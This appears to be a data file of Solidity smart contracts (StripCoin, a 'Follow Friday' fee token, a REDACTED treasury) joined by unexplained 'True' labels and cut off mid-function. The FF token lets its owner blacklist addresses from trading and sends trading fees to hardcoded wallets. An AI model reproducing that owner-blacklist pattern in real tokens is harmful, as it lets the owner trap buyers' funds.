/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/utils/math/[email protected]
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File contracts/StripToken.sol
/******************************************************************************
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▒▓█████████████▒ ===================================================
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██ ████████ Token..: STRIPCOIN
██ ▒███████▒ Version: 1.0
██▒██████▒ License: MIT
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*******************************************************************************/
pragma solidity ^0.8.0;
/**
* @title StripToken Contract
* @author
* @dev
*/
contract StripToken is ERC20, Ownable {
using SafeMath for uint256;
// modify token name
string public constant NAME = 'StripCoin';
// modify token symbol
string public constant SYMBOL = 'STRIP';
// modify token decimals
uint8 public constant DECIMALS = 18;
// modify initial token supply
uint256 public constant TOTAL_SUPPLY = 500e9 * (10**uint256(DECIMALS)); // 500,000,000,000 tokens
// multisig contract address
address public multiSigAdmin;
event MultiSigAdminUpdated(address _multiSigAdmin);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() Ownable() ERC20(NAME, SYMBOL) {
_mint(msg.sender, TOTAL_SUPPLY);
}
/**
* @dev Override decimals() function to customize decimals
*/
function decimals() public view virtual override returns (uint8) {
return DECIMALS;
}
function setMultiSigAdminAddress(address _multiSigAdmin) external onlyOwner {
require (_multiSigAdmin != address(0x00), "Invalid MultiSig admin address");
multiSigAdmin = _multiSigAdmin;
emit MultiSigAdminUpdated(multiSigAdmin);
}
/**
* @dev Recovers the ERC20 token balance mistakenly sent to the contract. Only multisig contract can call this function
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyMultiSigAdmin {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
// modifier for multiSig only
modifier onlyMultiSigAdmin() {
require(msg.sender == multiSigAdmin, "Should be multiSig contract");
_;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FF is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Follow Friday";
string private constant _symbol = "FF";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x3796f12e5ade4Ad6aFe5722FBc5Fbd357a2161Dd);
_feeAddrWallet2 = payable(0x92876a801E604684a603e6fFD97140f3418f70B7);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-17
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement( address newOwner_ ) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed( address(0), _owner );
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require( _owner == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed( _owner, address(0) );
_owner = address(0);
}
function pushManagement( address newOwner_ ) public virtual override onlyManager() {
require( newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed( _owner, newOwner_ );
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require( msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled( _owner, _newOwner );
_owner = _newOwner;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20Mintable {
function mint( uint256 amount_ ) external;
function mint( address account_, uint256 ammount_ ) external;
}
interface IBTRFLYERC20 {
function burnFrom(address account_, uint256 amount_) external;
}
interface IBondCalculator {
function valuation( address pair_, uint amount_ ) external view returns ( uint _value );
}
contract REDACTEDTreasury is Ownable {
using SafeMath for uint;
using SafeERC20 for IERC20;
event Deposit( address indexed token, uint amount, uint value );
event Simp( address indexed token, uint amount, address niceGuy);
event Withdrawal( address indexed token, uint amount, uint value );
event CreateDebt( address indexed debtor, address indexed token, uint amount, uint value );
event RepayDebt( address indexed debtor, address indexed token, uint amount, uint value );
event ReservesManaged( address indexed token, uint amount );
event ReservesUpdated( uint indexed totalReserves );
event ReservesAudited( uint indexed totalReserves );
event RewardsMinted( address indexed caller, address indexed recipient, uint amount );
event ChangeQueued( MANAGING indexed managing, address queued );
event ChangeActivated( MANAGING indexed managing, address activated, bool result );
event tokenValueSet(address token, uint value);
enum MANAGING { RESERVEDEPOSITOR, RESERVESPENDER, RESERVETOKEN, RESERVEMANAGER, LIQUIDITYDEPOSITOR, LIQUIDITYTOKEN, LIQUIDITYMANAGER, DEBTOR, REWARDMANAGER, SBTRFLY }
address public immutable BTRFLY;
uint public blocksNeededForQueue;
uint public immutable newBlocksNeededForQueue;
address[] public reserveTokens; // Push only, beware false-positives.
mapping( address => bool ) public isReserveToken;
mapping( address => uint ) public reserveTokenQueue; // Delays changes to mapping.
mapping( address => uint) public nativeFloorPrice; // With 9 decimals of precision
address[] public reserveDepositors; // Push only, beware false-positives. Only for viewing.
mapping( address => bool ) public isReserveDepositor;
mapping( address => uint ) public reserveDepositorQueue; // Delays changes to mapping.
address[] public reserveSpenders; // Push only, beware false-positives. Only for viewing.
mapping( address => bool ) public isReserveSpender;
mapping( address => uint ) public reserveSpenderQueue; // Delays changes to mapping.
address[] public liquidityTokens; // Push only, beware false-positives.
mapping( address => bool ) public isLiquidityToken;
mapping( address => uint ) public LiquidityTokenQueue; // Delays changes to mapping.
address[] public liquidityDepositors; // Push only, beware false-positives. Only for viewing.
mapping( address => bool ) public isLiquidityDepositor;
mapping( address => uint ) public LiquidityDepositorQueue; // Delays changes to mapping.
mapping( address => address ) public bondCalculator; // bond calculator for liquidity token
address[] public reserveManagers; // Push only, beware false-positives. Only for viewing.
mapping( address => bool ) public isReserveManager;
mapping( address => uint ) public ReserveManagerQueue; // Delays changes to mapping.
address[] public liquidityManagers; // Push only, beware false-positives. Only for viewing.
mapping( address => bool ) public isLiquidityManager;
mapping( address => uint ) public LiquidityManagerQueue; // Delays changes to mapping.
address[] public debtors; // Push only, beware false-positives. Only for viewing.
mapping( address => bool ) public isDebtor;
mapping( address => uint ) public debtorQueue; // Delays changes to mapping.
mapping( address => uint ) public debtorBalance;
address[] public rewardManagers; // Push only, beware false-positives. Only for viewing.
mapping( address => bool ) public isRewardManager;
mapping( address => uint ) public rewardManagerQueue; // Delays changes to mapping.
address public sBTRFLY;
uint public sBTRFLYQueue; // Delays change to sBTRFLY address
uint public totalReserves; // Risk-free value of all assets
uint public totalDebt;
constructor (
address _BTRFLY,
address _OHM,
address _sOHM,
address _CVX,
address _CRV,
uint _OHMFloor,
uint _CVXFloor,
uint _CRVFloor,
uint _newBlocksNeededForQueue
) {
require( _BTRFLY != address(0) );
BTRFLY = _BTRFLY;
isReserveToken[ _OHM ] = true;
reserveTokens.push( _OHM );
nativeFloorPrice[ _OHM ] = _OHMFloor;
isReserveToken[ _sOHM ] = true;
reserveTokens.push( _sOHM );
nativeFloorPrice[ _OHM ] = _OHMFloor;
isReserveToken[ _CVX] = true;
reserveTokens.push( _CVX );
nativeFloorPrice[ _CVX ] = _CVXFloor;
isReserveToken[ _CRV] = true;
reserveTokens.push( _CRV );
nativeFloorPrice[ _CRV ] = _CRVFloor;
blocksNeededForQueue = 0;
newBlocksNeededForQueue = _newBlocksNeededForQueue;
}
function deactivateAndreMode() external onlyManager(){
blocksNeededForQueue = newBlocksNeededForQueue;
}
/**
@notice allow approved address to deposit an asset for BTRFLY
@param _amount uint
@param _token address
@param _profit uint
@return send_ uint
*/
function deposit( uint _amount, address _token, uint _profit ) external returns ( uint send_ ) {
require( isReserveToken[ _token ] || isLiquidityToken[ _token ], "Not accepted" );
IERC20( _token ).safeTransferFrom( msg.sender, address(this), _amount );
if ( isReserveToken[ _token ] ) {
require( isReserveDepositor[ msg.sender ], "Not approved" );
} else {
require( isLiquidityDepositor[ msg.sender ], "Not approved" );
}
uint value = valueOf(_token, _amount);
// mint BTRFLY needed and store amount of rewards for distribution
send_ = value.sub( _profit );
IERC20Mintable( BTRFLY ).mint( msg.sender, send_ );
totalReserves = totalReserves.add( value );
emit ReservesUpdated( totalReserves );
emit Deposit( _token, _amount, value );
}
function simp(uint _amount, address _token) external{
require( isReserveToken[ _token ] || isLiquidityToken[ _token ], "Not accepted" );
IERC20( _token ).safeTransferFrom( msg.sender, address(this), _amount );
uint value = valueOf(_token, _amount);
totalReserves = totalReserves.add( value );
emit ReservesUpdated( totalReserves );
emit Simp(_token,_amount,msg.sender);
}
/**
@notice allow approved address to burn BTRFLY for reserves
@param _amount uint
@param _token address
*/
function withdraw( uint _amount, address _token ) external {
